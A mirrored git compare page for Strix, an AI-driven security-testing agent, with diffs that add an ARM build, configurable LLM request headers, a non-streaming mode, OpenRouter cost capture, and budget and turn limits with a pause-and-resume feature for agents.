mirror of
https://github.com/usestrix/strix.git
synced 2026-08-16 09:26:39 +02:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
1aee9e38f2 | ||
|
|
f1a17435d1 | ||
|
|
9f61e3bb2a | ||
|
|
4b05f9145a | ||
|
|
1bf6c1616e | ||
|
|
8a2f61feff | ||
|
|
7c8810bc72 | ||
|
|
de4af5edd9 | ||
|
|
76e97e6a59 | ||
|
|
885b2ca5c5 | ||
|
|
980216860e | ||
|
|
d4e58b2cd0 | ||
|
|
e9ebdc502f | ||
|
|
ebb3a62a99 | ||
|
|
1a2fa89972 | ||
|
|
9de747d135 | ||
|
|
b313d78f60 | ||
|
|
e037d8d727 | ||
|
|
fade37025d | ||
|
|
f968f8e5a7 | ||
|
|
ac0014fe65 | ||
|
|
86282e83a8 | ||
|
|
37c7f5a6ba | ||
|
|
082d4ae62c | ||
|
|
c55a8fa4ba | ||
|
|
47617969d3 | ||
|
|
27f9750cdc | ||
|
|
427cdcd9d4 | ||
|
|
384338cf31 |
@@ -21,6 +21,8 @@ jobs:
|
||||
target: macos-x86_64
|
||||
- os: ubuntu-22.04
|
||||
target: linux-x86_64
|
||||
- os: ubuntu-22.04-arm
|
||||
target: linux-arm64
|
||||
- os: windows-latest
|
||||
target: windows-x86_64
|
||||
|
||||
@@ -43,6 +45,20 @@ jobs:
|
||||
uv sync --frozen
|
||||
uv run pyinstaller strix.spec --noconfirm
|
||||
|
||||
if [[ "${{ runner.os }}" == "Windows" ]]; then
|
||||
dist/strix.exe --version
|
||||
else
|
||||
dist/strix --version
|
||||
fi
|
||||
|
||||
if [[ "${{ matrix.target }}" == "linux-arm64" ]]; then
|
||||
file dist/strix
|
||||
file dist/strix | grep -q "ARM aarch64" || {
|
||||
echo "::error::linux-arm64 artifact is not an ARM aarch64 binary"
|
||||
exit 1
|
||||
}
|
||||
fi
|
||||
|
||||
VERSION=$(grep '^version' pyproject.toml | head -1 | sed 's/.*"\(.*\)"/\1/')
|
||||
mkdir -p dist/release
|
||||
|
||||
|
||||
@@ -19,6 +19,14 @@ Configure Strix using environment variables or a config file.
|
||||
Custom API base URL. Also accepts `OPENAI_API_BASE`, `LITELLM_BASE_URL`, or `OLLAMA_API_BASE`.
|
||||
</ParamField>
|
||||
|
||||
<ParamField path="LLM_EXTRA_HEADERS" type="string">
|
||||
Extra HTTP headers sent on every LLM request, as a JSON object (e.g.
|
||||
`{"X-Feature-Key":"value","X-Tenant":"acme"}`). Useful for OpenAI-compatible
|
||||
gateways that require attribution or routing headers in addition to the bearer
|
||||
token. The bearer token itself still comes from `LLM_API_KEY`. Applies to both
|
||||
the LiteLLM and native OpenAI routing paths.
|
||||
</ParamField>
|
||||
|
||||
<ParamField path="LLM_TIMEOUT" default="300" type="integer">
|
||||
Request timeout in seconds for LLM calls.
|
||||
</ParamField>
|
||||
@@ -55,6 +63,12 @@ affecting the agents that do the actual testing.
|
||||
model runs on a different endpoint than the main model.
|
||||
</ParamField>
|
||||
|
||||
<ParamField path="DEDUPE_LLM_EXTRA_HEADERS" type="string">
|
||||
Optional JSON object of extra HTTP headers sent on every deduplication-model
|
||||
request, e.g. `{"X-Feature-Key":"value"}`. A dedicated dedupe model never
|
||||
inherits `LLM_EXTRA_HEADERS`; set this when its endpoint needs custom headers.
|
||||
</ParamField>
|
||||
|
||||
<ParamField path="STRIX_DEDUPE_REASONING_EFFORT" type="string">
|
||||
Reasoning effort for the deduplication model. Defaults to the model's own
|
||||
baseline when unset.
|
||||
|
||||
@@ -54,3 +54,20 @@ If you use LM Studio, vLLM, or other runners:
|
||||
export STRIX_LLM="openai/local-model"
|
||||
export LLM_API_BASE="http://localhost:1234/v1" # Adjust port as needed
|
||||
```
|
||||
|
||||
### Gateways that require custom headers
|
||||
|
||||
Some OpenAI-compatible gateways require extra HTTP headers (for attribution or
|
||||
tenant routing) alongside the bearer token. Set them with `LLM_EXTRA_HEADERS` as
|
||||
a JSON object — they are sent on every request:
|
||||
|
||||
```bash
|
||||
export STRIX_LLM="openai/your-model"
|
||||
export LLM_API_BASE="https://your-gateway.example/v1"
|
||||
export LLM_API_KEY="your-bearer-token" # sent as Authorization: Bearer ...
|
||||
export LLM_EXTRA_HEADERS='{"X-Feature-Key":"value","X-Tenant":"acme"}'
|
||||
```
|
||||
|
||||
For endpoints behind a private CA, point Strix at your certificate bundle with
|
||||
the standard `SSL_CERT_FILE=/path/to/ca-bundle.pem` — never disable TLS
|
||||
verification against a real endpoint.
|
||||
|
||||
+36
-3
@@ -61,11 +61,28 @@ strix (--target <target> | --target-list <path> | --mount <path>) [options]
|
||||
Path to a custom config file (JSON) to use instead of `~/.strix/cli-config.json`.
|
||||
</ParamField>
|
||||
|
||||
<ParamField path="--max-budget-usd" type="number">
|
||||
<ParamField path="--max-budget" type="number">
|
||||
Maximum LLM spend in USD for the whole scan, counted cumulatively across the
|
||||
root agent and every child agent. The budget is checked after each model
|
||||
response; once the running cost reaches the threshold, the scan stops cleanly
|
||||
with a `stopped` status (not a failure) and the sandbox is torn down.
|
||||
response.
|
||||
|
||||
In non-interactive mode (`-n`), once the running cost reaches the threshold,
|
||||
the scan stops cleanly with a `stopped` status (not a failure) and the sandbox
|
||||
is torn down. Sub-agents are stopped early, at 90% of the budget, reserving
|
||||
the final slice for the root agent to wind down and produce the final report.
|
||||
|
||||
In interactive mode, reaching the budget pauses the scan instead of ending
|
||||
it: every agent parks, and sending any message resumes the scan with the cap
|
||||
extended by the original budget amount. There is no sub-agent reserve in
|
||||
interactive mode.
|
||||
|
||||
As the budget is approached, graduated wrap-up warnings are surfaced to
|
||||
**every** agent so they can finish their work and call their lifecycle tool
|
||||
before the hard stop. The bands sit just below each role's own stop point: the
|
||||
root is warned at **70%, 85% and 95%** (it stops at 100%), while sub-agents are
|
||||
warned at **75%, 80% and 85%** (they stop at the 90% reserve). In interactive
|
||||
mode every agent uses the **70%, 85% and 95%** bands. Percentages shown in the
|
||||
warnings are the real cumulative spend against the full budget.
|
||||
|
||||
Must be greater than `0`. Omit the flag for no limit.
|
||||
|
||||
@@ -84,6 +101,19 @@ strix (--target <target> | --target-list <path> | --mount <path>) [options]
|
||||
counts.
|
||||
</ParamField>
|
||||
|
||||
<ParamField path="--max-turns" type="integer" default="500">
|
||||
Maximum number of turns (one model response plus its tool round) allotted to
|
||||
**each** agent, applied per run. When an agent reaches this limit it is
|
||||
force-stopped.
|
||||
|
||||
As the limit is approached, graduated wrap-up warnings (at 70%, 85% and 95%)
|
||||
are injected into that agent's next model turn so it can prioritise its
|
||||
remaining work and call its lifecycle tool (`finish_scan` for the root agent,
|
||||
`agent_finish` for sub-agents) before the hard stop.
|
||||
|
||||
Must be greater than `0`.
|
||||
</ParamField>
|
||||
|
||||
## Examples
|
||||
|
||||
```bash
|
||||
@@ -99,6 +129,9 @@ strix --target api.example.com --instruction "Focus on IDOR and auth bypass"
|
||||
# CI/CD mode
|
||||
strix -n --target ./ --scan-mode quick
|
||||
|
||||
# Cap cost and per-agent turns
|
||||
strix --target https://example.com --max-budget 25 --max-turns 300
|
||||
|
||||
# Force diff-scope against a specific base ref
|
||||
strix -n --target ./ --scan-mode quick --scope-mode diff --diff-base origin/main
|
||||
|
||||
|
||||
+2
-1
@@ -1,6 +1,6 @@
|
||||
[project]
|
||||
name = "strix-agent"
|
||||
version = "1.3.1"
|
||||
version = "1.4.1"
|
||||
description = "Open-source AI Hackers for your apps"
|
||||
readme = "README.md"
|
||||
license = "Apache-2.0"
|
||||
@@ -220,6 +220,7 @@ ignore = [
|
||||
# Stdlib HTTP handler overrides (do_GET/do_POST).
|
||||
"strix/interface/auth_cli.py" = ["N802"]
|
||||
"tests/test_codex_streaming.py" = ["N802"]
|
||||
"tests/test_disable_streaming.py" = ["N802"]
|
||||
"tests/test_report_pdf.py" = ["S105", "S106"]
|
||||
# Stdlib HTTP handler overrides (do_GET/do_POST) and lazy imports that avoid a
|
||||
# circular dependency with strix.telemetry / strix.interface.viewer.report_pdf.
|
||||
|
||||
+1
-1
@@ -41,7 +41,7 @@ fi
|
||||
|
||||
combo="$os-$arch"
|
||||
case "$combo" in
|
||||
linux-x86_64|macos-x86_64|macos-arm64|windows-x86_64)
|
||||
linux-x86_64|linux-arm64|macos-x86_64|macos-arm64|windows-x86_64)
|
||||
;;
|
||||
*)
|
||||
echo -e "${RED}Unsupported OS/Arch: $os/$arch${NC}"
|
||||
|
||||
+13
-20
@@ -18,12 +18,12 @@ import logging
|
||||
import secrets
|
||||
import threading
|
||||
import time
|
||||
import urllib.error
|
||||
import urllib.parse
|
||||
import urllib.request
|
||||
from pathlib import Path
|
||||
from typing import TYPE_CHECKING, Any
|
||||
|
||||
import requests
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from collections.abc import Iterator
|
||||
@@ -221,26 +221,19 @@ def _first(query: dict[str, list[str]], key: str) -> str | None:
|
||||
|
||||
|
||||
def _post_form(payload: dict[str, str]) -> dict[str, Any]:
|
||||
body = urllib.parse.urlencode(payload).encode("ascii")
|
||||
request = urllib.request.Request( # noqa: S310 - fixed https OAuth endpoint
|
||||
TOKEN_URL,
|
||||
data=body,
|
||||
headers={
|
||||
"Content-Type": "application/x-www-form-urlencoded",
|
||||
"Accept": "application/json",
|
||||
},
|
||||
method="POST",
|
||||
)
|
||||
try:
|
||||
with urllib.request.urlopen( # noqa: S310 # nosec B310 - fixed https endpoint
|
||||
request, timeout=_TOKEN_TIMEOUT
|
||||
) as response:
|
||||
data = json.loads(response.read() or b"{}")
|
||||
except urllib.error.HTTPError as exc:
|
||||
detail = exc.read().decode("utf-8", "replace")[:300]
|
||||
raise CodexAuthError("token_http_error", f"HTTP {exc.code}: {detail}") from exc
|
||||
except (urllib.error.URLError, TimeoutError, OSError) as exc:
|
||||
response = requests.post(
|
||||
TOKEN_URL,
|
||||
data=payload,
|
||||
headers={"Accept": "application/json"},
|
||||
timeout=_TOKEN_TIMEOUT,
|
||||
)
|
||||
except requests.RequestException as exc:
|
||||
raise CodexAuthError("unavailable", str(exc)) from exc
|
||||
if response.status_code >= 400:
|
||||
detail = response.text[:300]
|
||||
raise CodexAuthError("token_http_error", f"HTTP {response.status_code}: {detail}")
|
||||
data = json.loads(response.content or b"{}")
|
||||
if not isinstance(data, dict):
|
||||
raise CodexAuthError("bad_response", "token endpoint returned non-object")
|
||||
return data
|
||||
|
||||
+266
-4
@@ -5,6 +5,7 @@ from __future__ import annotations
|
||||
import contextlib
|
||||
import inspect
|
||||
import os
|
||||
import time
|
||||
from typing import TYPE_CHECKING, Any
|
||||
|
||||
from agents import (
|
||||
@@ -13,6 +14,8 @@ from agents import (
|
||||
set_tracing_disabled,
|
||||
)
|
||||
from agents.model_settings import ModelSettings
|
||||
from agents.models.fake_id import FAKE_RESPONSES_ID
|
||||
from agents.models.interface import Model
|
||||
from agents.models.multi_provider import MultiProvider
|
||||
from agents.models.openai_responses import OpenAIResponsesModel
|
||||
from agents.retry import (
|
||||
@@ -21,6 +24,8 @@ from agents.retry import (
|
||||
RetryPolicyContext,
|
||||
retry_policies,
|
||||
)
|
||||
from openai.types.responses import Response, ResponseCompletedEvent
|
||||
from openai.types.responses.response_usage import ResponseUsage
|
||||
from openai.types.shared import Reasoning
|
||||
|
||||
from strix.config import codex
|
||||
@@ -30,10 +35,17 @@ from strix.config.loader import load_settings
|
||||
if TYPE_CHECKING:
|
||||
from collections.abc import AsyncIterator
|
||||
|
||||
from agents.models.interface import Model, ModelProvider
|
||||
from agents.agent_output import AgentOutputSchemaBase
|
||||
from agents.handoffs import Handoff
|
||||
from agents.items import ModelResponse, TResponseInputItem, TResponseStreamEvent
|
||||
from agents.models.interface import ModelProvider, ModelTracing
|
||||
from agents.retry import ModelRetryAdvice, ModelRetryAdviceRequest
|
||||
from agents.tool import Tool
|
||||
from agents.usage import Usage
|
||||
from openai import AsyncOpenAI
|
||||
from openai.types.responses.response_prompt_param import ResponsePromptParam
|
||||
|
||||
from strix.config.settings import ReasoningEffort, Settings
|
||||
from strix.config.settings import LlmSettings, ReasoningEffort, Settings
|
||||
|
||||
|
||||
def request_timeout_extra_args(timeout_s: float | None) -> dict[str, float] | None:
|
||||
@@ -135,6 +147,124 @@ class _CodexResponsesModel(OpenAIResponsesModel):
|
||||
await result
|
||||
|
||||
|
||||
class _NonStreamingModel(Model):
|
||||
"""Serve the SDK's streamed run loop from a single non-streaming request.
|
||||
|
||||
Some OpenAI-compatible gateways do not support Server-Sent Events, or
|
||||
deliver them unreliably (dropping structured tool-call deltas, or stalling
|
||||
mid-stream so the whole turn waits out the read timeout). The SDK run loop
|
||||
Strix uses only issues streamed requests, so such a gateway fails every
|
||||
turn. Opt in with ``LLM_DISABLE_STREAMING=true`` to wrap the resolved model
|
||||
so each turn makes one non-streaming ``get_response`` (``stream:false`` on
|
||||
the wire) and the completed result is replayed as a single terminal stream
|
||||
event. The run loop then executes tools and emits run items from that final
|
||||
response exactly as it would for a real stream, so nothing else changes.
|
||||
"""
|
||||
|
||||
def __init__(self, inner: Model) -> None:
|
||||
self._inner = inner
|
||||
|
||||
async def close(self) -> None:
|
||||
await self._inner.close()
|
||||
|
||||
def get_retry_advice(self, request: ModelRetryAdviceRequest) -> ModelRetryAdvice | None:
|
||||
return self._inner.get_retry_advice(request)
|
||||
|
||||
async def get_response(
|
||||
self,
|
||||
system_instructions: str | None,
|
||||
input: str | list[TResponseInputItem], # noqa: A002
|
||||
model_settings: ModelSettings,
|
||||
tools: list[Tool],
|
||||
output_schema: AgentOutputSchemaBase | None,
|
||||
handoffs: list[Handoff],
|
||||
tracing: ModelTracing,
|
||||
*,
|
||||
previous_response_id: str | None,
|
||||
conversation_id: str | None,
|
||||
prompt: ResponsePromptParam | None,
|
||||
) -> ModelResponse:
|
||||
return await self._inner.get_response(
|
||||
system_instructions,
|
||||
input,
|
||||
model_settings,
|
||||
tools,
|
||||
output_schema,
|
||||
handoffs,
|
||||
tracing,
|
||||
previous_response_id=previous_response_id,
|
||||
conversation_id=conversation_id,
|
||||
prompt=prompt,
|
||||
)
|
||||
|
||||
async def stream_response(
|
||||
self,
|
||||
system_instructions: str | None,
|
||||
input: str | list[TResponseInputItem], # noqa: A002
|
||||
model_settings: ModelSettings,
|
||||
tools: list[Tool],
|
||||
output_schema: AgentOutputSchemaBase | None,
|
||||
handoffs: list[Handoff],
|
||||
tracing: ModelTracing,
|
||||
*,
|
||||
previous_response_id: str | None,
|
||||
conversation_id: str | None,
|
||||
prompt: ResponsePromptParam | None,
|
||||
) -> AsyncIterator[TResponseStreamEvent]:
|
||||
response = await self._inner.get_response(
|
||||
system_instructions,
|
||||
input,
|
||||
model_settings,
|
||||
tools,
|
||||
output_schema,
|
||||
handoffs,
|
||||
tracing,
|
||||
previous_response_id=previous_response_id,
|
||||
conversation_id=conversation_id,
|
||||
prompt=prompt,
|
||||
)
|
||||
yield _completed_stream_event(response, getattr(self._inner, "model", None))
|
||||
|
||||
|
||||
def _completed_stream_event(
|
||||
model_response: ModelResponse, model_name: object | None
|
||||
) -> TResponseStreamEvent:
|
||||
"""Wrap a non-streamed ``ModelResponse`` as the terminal event of a stream.
|
||||
|
||||
The run loop builds its authoritative per-turn response solely from the
|
||||
``response.completed`` event, so a single event carrying the full output
|
||||
and usage is all it needs.
|
||||
"""
|
||||
response = Response(
|
||||
id=model_response.response_id or FAKE_RESPONSES_ID,
|
||||
created_at=time.time(),
|
||||
model=str(model_name) if model_name else "",
|
||||
object="response",
|
||||
output=list(model_response.output),
|
||||
tool_choice="auto",
|
||||
tools=[],
|
||||
parallel_tool_calls=False,
|
||||
usage=_response_usage(model_response.usage),
|
||||
)
|
||||
return ResponseCompletedEvent(
|
||||
response=response,
|
||||
sequence_number=0,
|
||||
type="response.completed",
|
||||
)
|
||||
|
||||
|
||||
def _response_usage(usage: Usage | None) -> ResponseUsage | None:
|
||||
if usage is None:
|
||||
return None
|
||||
return ResponseUsage(
|
||||
input_tokens=usage.input_tokens,
|
||||
output_tokens=usage.output_tokens,
|
||||
total_tokens=usage.total_tokens,
|
||||
input_tokens_details=usage.input_tokens_details,
|
||||
output_tokens_details=usage.output_tokens_details,
|
||||
)
|
||||
|
||||
|
||||
class StrixProvider(MultiProvider):
|
||||
"""Route any non-OpenAI prefix through LiteLLM with the prefix preserved,
|
||||
so users type ``deepseek/deepseek-chat`` rather than
|
||||
@@ -159,14 +289,21 @@ class StrixProvider(MultiProvider):
|
||||
return self._get_fallback_provider("litellm"), original_model_name
|
||||
|
||||
def get_model(self, model_name: str | None) -> Model:
|
||||
llm = load_settings().llm
|
||||
slug = codex.subscription_model(model_name)
|
||||
if slug:
|
||||
# The ChatGPT subscription backend is always streamed; it has no
|
||||
# non-streaming mode to fall back to, so LLM_DISABLE_STREAMING
|
||||
# does not apply here.
|
||||
return _CodexResponsesModel(
|
||||
slug,
|
||||
codex.get_subscription_client(),
|
||||
reasoning_effort=load_settings().llm.reasoning_effort,
|
||||
reasoning_effort=llm.reasoning_effort,
|
||||
)
|
||||
return super().get_model(model_name)
|
||||
model = super().get_model(model_name)
|
||||
if llm.disable_streaming:
|
||||
return _NonStreamingModel(model)
|
||||
return model
|
||||
|
||||
|
||||
DEFAULT_MODEL_RETRY = ModelRetrySettings(
|
||||
@@ -243,6 +380,7 @@ def configure_sdk_model_defaults(settings: Settings) -> None:
|
||||
set_default_openai_api("chat_completions")
|
||||
else:
|
||||
set_default_openai_api("responses")
|
||||
_configure_extra_headers(llm)
|
||||
|
||||
|
||||
def _mirror_api_key_to_provider_env(model_name: str | None, api_key: str) -> None:
|
||||
@@ -277,6 +415,51 @@ def _configure_litellm_compatibility() -> None:
|
||||
litellm.suppress_debug_info = True
|
||||
|
||||
_register_litellm_cost_callback()
|
||||
_install_openrouter_stream_cost_capture()
|
||||
|
||||
|
||||
def _install_openrouter_stream_cost_capture() -> None:
|
||||
"""Preserve OpenRouter's per-stream cost, which LiteLLM drops when streaming.
|
||||
|
||||
OpenRouter reports the real charge in ``usage.cost`` of the final stream
|
||||
chunk, but LiteLLM rebuilds streamed responses from token-only fields and
|
||||
discards it (its non-streamed path stashes the cost in hidden params; the
|
||||
streaming path does not). Every scan streams, so without this the cost is
|
||||
lost and Strix falls back to a cost-map estimate that is missing entirely
|
||||
for new models (e.g. kimi-k3), reporting $0. Subclass the OpenRouter
|
||||
streaming handler to record the cost keyed by response id so the cost
|
||||
callback can recover the exact charge for the matching rebuilt response.
|
||||
"""
|
||||
import litellm
|
||||
from litellm.llms.openrouter.chat.transformation import (
|
||||
OpenRouterChatCompletionStreamingHandler,
|
||||
OpenrouterConfig,
|
||||
)
|
||||
|
||||
from strix.report.state import streamed_openrouter_costs
|
||||
|
||||
class _StrixOpenRouterStreamingHandler(OpenRouterChatCompletionStreamingHandler):
|
||||
def chunk_parser(self, chunk: dict[str, Any]) -> Any:
|
||||
stream = super().chunk_parser(chunk)
|
||||
streamed_openrouter_costs.remember(
|
||||
chunk.get("id") or getattr(stream, "id", None), chunk.get("usage")
|
||||
)
|
||||
return stream
|
||||
|
||||
class _StrixOpenrouterConfig(OpenrouterConfig):
|
||||
def get_model_response_iterator(
|
||||
self, streaming_response: Any, sync_stream: bool, json_mode: bool | None = False
|
||||
) -> Any:
|
||||
return _StrixOpenRouterStreamingHandler(
|
||||
streaming_response=streaming_response,
|
||||
sync_stream=sync_stream,
|
||||
json_mode=json_mode,
|
||||
)
|
||||
|
||||
# LiteLLM's provider-config factory reads litellm.OpenrouterConfig at call
|
||||
# time, so overriding the attribute is enough for the subclass to take
|
||||
# effect. (type: ignore — mypy rejects reassigning a class attribute.)
|
||||
litellm.OpenrouterConfig = _StrixOpenrouterConfig # type: ignore[misc]
|
||||
|
||||
|
||||
_OPENROUTER_ATTRIBUTION_HEADERS = {
|
||||
@@ -302,6 +485,43 @@ def _configure_openrouter_attribution(model_name: str | None) -> None:
|
||||
litellm.headers = {**existing, **_OPENROUTER_ATTRIBUTION_HEADERS} # type: ignore[assignment]
|
||||
|
||||
|
||||
def _configure_extra_headers(llm: LlmSettings) -> None:
|
||||
"""Send user-provided default headers on every LLM request.
|
||||
|
||||
Some OpenAI-compatible endpoints require extra HTTP headers (e.g. request
|
||||
attribution or tenant routing) alongside the bearer token. Users supply
|
||||
them via ``LLM_EXTRA_HEADERS``; they are applied to both routing paths:
|
||||
the LiteLLM route (``litellm.headers``) and the SDK-native OpenAI route
|
||||
(a default client carrying ``default_headers``), so they take effect
|
||||
regardless of the ``STRIX_LLM`` prefix.
|
||||
"""
|
||||
headers = llm.extra_headers
|
||||
if not headers:
|
||||
return
|
||||
_merge_litellm_headers(headers)
|
||||
_register_openai_client_with_headers(llm, headers)
|
||||
|
||||
|
||||
def _merge_litellm_headers(headers: dict[str, str]) -> None:
|
||||
import litellm
|
||||
|
||||
current: object = litellm.headers
|
||||
existing: dict[str, str] = current if isinstance(current, dict) else {}
|
||||
litellm.headers = {**existing, **headers} # type: ignore[assignment]
|
||||
|
||||
|
||||
def _register_openai_client_with_headers(llm: LlmSettings, headers: dict[str, str]) -> None:
|
||||
from agents import set_default_openai_client
|
||||
from openai import AsyncOpenAI
|
||||
|
||||
client = AsyncOpenAI(
|
||||
api_key=llm.api_key or "not-needed",
|
||||
base_url=llm.api_base,
|
||||
default_headers=dict(headers),
|
||||
)
|
||||
set_default_openai_client(client, use_for_tracing=False)
|
||||
|
||||
|
||||
def _register_litellm_cost_callback() -> None:
|
||||
import litellm
|
||||
|
||||
@@ -429,3 +649,45 @@ def is_known_openai_bare_model(model_name: str) -> bool:
|
||||
return False
|
||||
entry = litellm.model_cost.get(name)
|
||||
return bool(entry and entry.get("litellm_provider") == "openai")
|
||||
|
||||
|
||||
def is_claude_model(model_name: str) -> bool:
|
||||
return "claude" in (model_name or "").strip().lower()
|
||||
|
||||
|
||||
def is_bedrock_route(model_name: str) -> bool:
|
||||
name = (model_name or "").strip().lower()
|
||||
return name.startswith("bedrock/") or "anthropic." in name
|
||||
|
||||
|
||||
def _prompt_cache_name_candidates(model_name: str) -> list[str]:
|
||||
# LiteLLM's model map keys the same model under several names; strip the
|
||||
# route prefix, then leading dotted segments (region, provider).
|
||||
name = (model_name or "").strip().lower()
|
||||
for prefix in ("litellm/", "bedrock/"):
|
||||
if name.startswith(prefix):
|
||||
name = name[len(prefix) :]
|
||||
break
|
||||
candidates = [name]
|
||||
rest = name
|
||||
while "." in rest:
|
||||
rest = rest.split(".", 1)[1]
|
||||
candidates.append(rest)
|
||||
return candidates
|
||||
|
||||
|
||||
def bedrock_route_supports_prompt_caching(model_name: str) -> bool:
|
||||
# Bedrock rejects the cache marker for models LiteLLM's map doesn't
|
||||
# recognise as cache-capable, so callers withhold it unless confirmed here.
|
||||
import litellm
|
||||
|
||||
checker = getattr(getattr(litellm, "utils", None), "supports_prompt_caching", None)
|
||||
for cand in _prompt_cache_name_candidates(model_name):
|
||||
if checker is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
if checker(cand):
|
||||
return True
|
||||
entry = litellm.model_cost.get(cand)
|
||||
if entry and entry.get("supports_prompt_caching"):
|
||||
return True
|
||||
return False
|
||||
|
||||
@@ -35,11 +35,23 @@ class LlmSettings(BaseSettings):
|
||||
"OLLAMA_API_BASE",
|
||||
),
|
||||
)
|
||||
extra_headers: dict[str, str] | None = Field(
|
||||
default=None,
|
||||
alias="LLM_EXTRA_HEADERS",
|
||||
)
|
||||
reasoning_effort: ReasoningEffort = Field(default="high", alias="STRIX_REASONING_EFFORT")
|
||||
force_required_tool_choice: bool = Field(
|
||||
default=False,
|
||||
alias="STRIX_FORCE_REQUIRED_TOOL_CHOICE",
|
||||
)
|
||||
prompt_cache: bool = Field(
|
||||
default=True,
|
||||
alias="STRIX_PROMPT_CACHE",
|
||||
)
|
||||
disable_streaming: bool = Field(
|
||||
default=False,
|
||||
alias="LLM_DISABLE_STREAMING",
|
||||
)
|
||||
timeout: int = Field(default=300, alias="LLM_TIMEOUT")
|
||||
|
||||
|
||||
@@ -53,6 +65,10 @@ class DedupeSettings(BaseSettings):
|
||||
)
|
||||
api_key: str | None = Field(default=None, alias="DEDUPE_LLM_API_KEY")
|
||||
api_base: str | None = Field(default=None, alias="DEDUPE_LLM_API_BASE")
|
||||
extra_headers: dict[str, str] | None = Field(
|
||||
default=None,
|
||||
alias="DEDUPE_LLM_EXTRA_HEADERS",
|
||||
)
|
||||
|
||||
|
||||
class ContextSettings(BaseSettings):
|
||||
|
||||
+86
-5
@@ -14,13 +14,15 @@ from strix.core.sessions import session_write_lock
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from collections.abc import Callable
|
||||
|
||||
from agents.items import TResponseInputItem
|
||||
from agents.memory import Session
|
||||
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
Status = Literal["running", "waiting", "completed", "stopped", "crashed", "failed"]
|
||||
Status = Literal["running", "waiting", "completed", "stopped", "crashed", "failed", "budget_paused"]
|
||||
|
||||
|
||||
@dataclass(slots=True)
|
||||
@@ -47,6 +49,9 @@ class AgentCoordinator:
|
||||
self._snapshot_path: Path | None = None
|
||||
self.is_shutting_down = False
|
||||
self._budget_stopped = False
|
||||
self._reserve_stopped = False
|
||||
self._budget_paused = False
|
||||
self._extend_budget: Callable[[], None] | None = None
|
||||
|
||||
def set_snapshot_path(self, path: Path) -> None:
|
||||
self._snapshot_path = path
|
||||
@@ -65,6 +70,71 @@ class AgentCoordinator:
|
||||
for runtime in self.runtimes.values():
|
||||
runtime.wake.set()
|
||||
|
||||
@property
|
||||
def reserve_stopped(self) -> bool:
|
||||
return self._reserve_stopped
|
||||
|
||||
@property
|
||||
def budget_paused(self) -> bool:
|
||||
return self._budget_paused
|
||||
|
||||
def set_budget_extender(self, extend: Callable[[], None]) -> None:
|
||||
self._extend_budget = extend
|
||||
|
||||
async def pause_for_budget(self, agent_id: str) -> None:
|
||||
async with self._lock:
|
||||
self._budget_paused = True
|
||||
await self.set_status(agent_id, "budget_paused")
|
||||
|
||||
async def resume_from_budget_pause(self, *, exclude: str | None = None) -> None:
|
||||
async with self._lock:
|
||||
if not self._budget_paused:
|
||||
return
|
||||
self._budget_paused = False
|
||||
paused = [aid for aid, status in self.statuses.items() if status == "budget_paused"]
|
||||
if self._extend_budget is not None:
|
||||
self._extend_budget()
|
||||
for aid in paused:
|
||||
await self.set_status(aid, "waiting")
|
||||
if aid != exclude:
|
||||
await self.send(
|
||||
aid,
|
||||
{
|
||||
"from": "system",
|
||||
"type": "budget_extended",
|
||||
"content": (
|
||||
"[Budget] The user extended the scan budget \u2014 continue your "
|
||||
"current task."
|
||||
),
|
||||
},
|
||||
)
|
||||
|
||||
async def reset_budget_stops(
|
||||
self,
|
||||
*,
|
||||
budget_stopped: bool,
|
||||
reserve_stopped: bool,
|
||||
budget_paused: bool = False,
|
||||
) -> None:
|
||||
async with self._lock:
|
||||
self._budget_stopped = budget_stopped
|
||||
self._reserve_stopped = reserve_stopped
|
||||
if not budget_paused:
|
||||
self._budget_paused = False
|
||||
for aid, status in self.statuses.items():
|
||||
if status == "budget_paused":
|
||||
self.statuses[aid] = "waiting"
|
||||
await self._maybe_snapshot()
|
||||
|
||||
async def claim_reserve_notification(self) -> str | None:
|
||||
async with self._lock:
|
||||
if self._reserve_stopped:
|
||||
return None
|
||||
self._reserve_stopped = True
|
||||
for runtime in self.runtimes.values():
|
||||
runtime.wake.set()
|
||||
return next((aid for aid, parent in self.parent_of.items() if parent is None), None)
|
||||
|
||||
async def register(
|
||||
self,
|
||||
agent_id: str,
|
||||
@@ -130,8 +200,12 @@ class AgentCoordinator:
|
||||
logger.info("agent.status %s=%s", agent_id, status)
|
||||
await self._maybe_snapshot()
|
||||
|
||||
async def send(self, target_agent_id: str, message: dict[str, Any]) -> bool:
|
||||
async def send(
|
||||
self, target_agent_id: str, message: dict[str, Any], *, interrupt: bool = True
|
||||
) -> bool:
|
||||
"""Deliver a user/peer message by appending it to the target SDK session."""
|
||||
if message.get("from") == "user" and self._budget_paused:
|
||||
await self.resume_from_budget_pause(exclude=target_agent_id)
|
||||
async with self._lock:
|
||||
if target_agent_id not in self.statuses:
|
||||
logger.debug("agent.send dropped unknown target=%s", target_agent_id)
|
||||
@@ -139,7 +213,7 @@ class AgentCoordinator:
|
||||
runtime = self.runtimes.setdefault(target_agent_id, AgentRuntime())
|
||||
session = runtime.session
|
||||
stream = runtime.stream
|
||||
interrupt = runtime.interrupt_on_message
|
||||
interrupt_on_message = runtime.interrupt_on_message
|
||||
if session is None:
|
||||
logger.warning(
|
||||
"agent.send dropped target=%s because its SDK session is not attached",
|
||||
@@ -158,7 +232,7 @@ class AgentCoordinator:
|
||||
async with self._lock:
|
||||
self.pending_counts[target_agent_id] = self.pending_counts.get(target_agent_id, 0) + 1
|
||||
self.runtimes.setdefault(target_agent_id, AgentRuntime()).wake.set()
|
||||
if stream is not None and interrupt:
|
||||
if stream is not None and interrupt and interrupt_on_message:
|
||||
stream.cancel(mode="immediate")
|
||||
await self._maybe_snapshot()
|
||||
return True
|
||||
@@ -166,7 +240,8 @@ class AgentCoordinator:
|
||||
async def wait_for_message(self, agent_id: str) -> None:
|
||||
while True:
|
||||
async with self._lock:
|
||||
if self._budget_stopped or self.pending_counts.get(agent_id, 0) > 0:
|
||||
reserve_exit = self._reserve_stopped and self.parent_of.get(agent_id) is not None
|
||||
if self._budget_stopped or reserve_exit or self.pending_counts.get(agent_id, 0) > 0:
|
||||
return
|
||||
wake = self.runtimes.setdefault(agent_id, AgentRuntime()).wake
|
||||
wake.clear()
|
||||
@@ -300,6 +375,9 @@ class AgentCoordinator:
|
||||
"metadata": {aid: dict(md) for aid, md in self.metadata.items()},
|
||||
